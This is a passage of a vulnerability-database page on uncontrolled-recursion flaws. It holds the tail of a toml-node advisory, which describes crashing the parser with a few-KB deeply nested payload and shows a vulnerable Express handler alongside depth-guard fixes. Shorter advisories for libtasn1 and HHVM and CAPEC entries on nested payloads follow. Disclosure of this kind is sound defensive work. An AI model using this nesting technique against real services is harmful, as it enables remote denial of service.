`a=[[ \u2026 ]]` | \u2265 ~2,500 | **~5 KB** (6 KB at depth 3000, used above) |\n| Inline table `{arr=[ \u2026 ]}` | \u2265 ~1,500 | ~12 KB |\n\n\u003e **Note on the exact threshold:** the precise crashing depth is not perfectly deterministic \u2014 it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured `--stack-size`. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.\n\n---\n\n## Realistic Attack Scenario\n\n```javascript\n// Node.js service parsing user-supplied TOML config\nconst express = require(\u0027express\u0027);\nconst toml = require(\u0027toml\u0027);\nconst app = express();\napp.use(express.text({ type: \u0027application/toml\u0027, limit: \u0027100kb\u0027 }));\n\napp.post(\u0027/config\u0027, (req, res) =\u003e {\n try {\n const config = toml.parse(req.body); // \u2190 RangeError on ~6 KB nested payload\n res.json({ status: \u0027ok\u0027 });\n } catch (e) {\n // toml only throws a peg$SyntaxError (e.name === \u0027SyntaxError\u0027, with e.line/e.column)\n // on malformed input. A RangeError has neither, so this guard rethrows it:\n if (e.line != null) return res.status(400).json({ error: e.message });\n throw e; // RangeError propagates \u2192 uncaught \u2192 worker down\n }\n});\n```\n\nAn unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). `toml.parse` overflows the stack and throws `RangeError`; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).\n\n\u003e The package exports **only** `parse` (`Object.keys(require(\u0027toml\u0027))` \u2192 `[\u0027parse\u0027]`); there is **no** `toml.SyntaxError`. Code written as `catch (e) { if (e instanceof toml.SyntaxError) \u2026 }` is itself broken (`instanceof undefined` throws), so applications generally cannot cleanly distinguish the DoS `RangeError` from a normal parse error.\n\n---\n\n## Impact\n\nAny Node.js application that calls `toml.parse()` on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5\u20136 KB) deeply nested payload. `toml.parse` is the package\u0027s only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With **~47 million monthly downloads** and **0 existing CVEs**, the exposure is broad.\n\n`RangeError` is a subclass of `Error` (not of the parser\u0027s `SyntaxError`), so it bypasses the usual \"is this a parse error?\" checks and propagates as an unexpected exception.\n\n---\n\n## Suggested Fix\n\nBecause `lib/parser.js` is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:\n\n**Option 1 \u2014 grammar-level depth guard (`src/toml.pegjs`), then re-run Peggy:**\n\n```javascript\n// In the grammar initializer:\n{ let depth = 0; const MAX_DEPTH = 500; }\n\n// Wrap the recursive `value` rule:\nvalue = \u0026{ if (++depth \u003e MAX_DEPTH) { error(\"TOML nesting too deep\"); } return true; }\n v:(array / inline_table / ...) { depth--; return v; }\n```\n\n**Option 2 \u2014 entry-point guard in `index.js`** (reject pathological input before parsing):\n\n```javascript\nmodule.exports.parse = function (input) {\n // cheap structural bound before the recursive parse\n let depth = 0, max = 0;\n for (const ch of input) {\n if (ch === \u0027[\u0027 || ch === \u0027{\u0027) max = Math.max(max, ++depth);\n else if (ch === \u0027]\u0027 || ch === \u0027}\u0027) depth--;\n }\n if (max \u003e 500) throw new Error(\u0027TOML nesting depth exceeds limit (500)\u0027);\n return realParse(input);\n};\n```\n\n**Immediate mitigation (users, verified):** bound untrusted input length **and** bracket-nesting depth before calling `toml.parse()`, e.g. reject payloads whose maximum `[`/`{` nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).\n\n---\n\n## Comparison with Related Vulnerabilities\n\nSame CWE-674 class as the recursion-DoS findings in the PyPI `toml` package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is **generated by Peggy**, so the recursion lives in `peg$parsevalue`/`peg$parsearray`/`peg$parseinline_table` and cannot be fixed by editing a hand-written function \u2014 the earlier draft of this report incorrectly showed hand-written `parseValue(tokens, index)` functions that do not exist in the package.",
"id": "GHSA-82x6-q7mm-w9cf",
"modified": "2026-09-03T20:56:14Z",
"published": "2026-09-03T20:56:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-82x6-q7mm-w9cf"
},
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/pull/72"
},
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/commit/967b8b06754f3ecd9863cea118dc50792a8c353f"
},
{
"type": "PACKAGE",
"url": "https://github.com/BinaryMuse/toml-node"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "toml-node: Uncontrolled Recursion"
}
GHSA-834W-G79F-WRQV
Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08An issue was discovered in the _asn1_decode_simple_ber function in decoding.c in GNU Libtasn1 before 4.13. Unlimited recursion in the BER decoder leads to stack exhaustion and DoS.
{
"affected": [],
"aliases": [
"CVE-2018-6003"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-22T20:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in the _asn1_decode_simple_ber function in decoding.c in GNU Libtasn1 before 4.13. Unlimited recursion in the BER decoder leads to stack exhaustion and DoS.",
"id": "GHSA-834w-g79f-wrqv",
"modified": "2022-05-13T01:08:59Z",
"published": "2022-05-13T01:08:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6003"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1535926"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1076832"
},
{
"type": "WEB",
"url": "https://gitlab.com/gnutls/libtasn1/commit/946565d8eb05fbf7970ea366e817581bb5a90910"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4106"
},
{
"type": "WEB",
"url": "http://git.savannah.nongnu.org/cgit/libtasn1.git/commit/?id=c593ae84cfcde8fea45787e53950e0ac71e9ca97"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-86Q4-P3XC-6M2H
Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44The fb_unserialize function did not impose a depth limit for nested deserialization. That meant a maliciously constructed string could cause deserialization to recurse, leading to stack exhaustion. This issue affected HHVM prior to v4.32.3, between versions 4.33.0 and 4.56.0, 4.57.0, 4.58.0, 4.58.1, 4.59.0, 4.60.0, 4.61.0, 4.62.0.
{
"affected": [],
"aliases": [
"CVE-2020-1898"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-11T01:15:00Z",
"severity": "HIGH"
},
"details": "The fb_unserialize function did not impose a depth limit for nested deserialization. That meant a maliciously constructed string could cause deserialization to recurse, leading to stack exhaustion. This issue affected HHVM prior to v4.32.3, between versions 4.33.0 and 4.56.0, 4.57.0, 4.58.0, 4.58.1, 4.59.0, 4.60.0, 4.61.0, 4.62.0.",
"id": "GHSA-86q4-p3xc-6m2h",
"modified": "2022-05-24T17:44:15Z",
"published": "2022-05-24T17:44:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1898"
},
{
"type": "WEB",
"url": "https://github.com/facebook/hhvm/commit/1746dfb11fc0048366f34669e74318b8278a684c"
},
{
"type": "WEB",
"url": "https://hhvm.com/blog/2020/06/30/security-update.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.
Mitigation
Increase the stack size.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.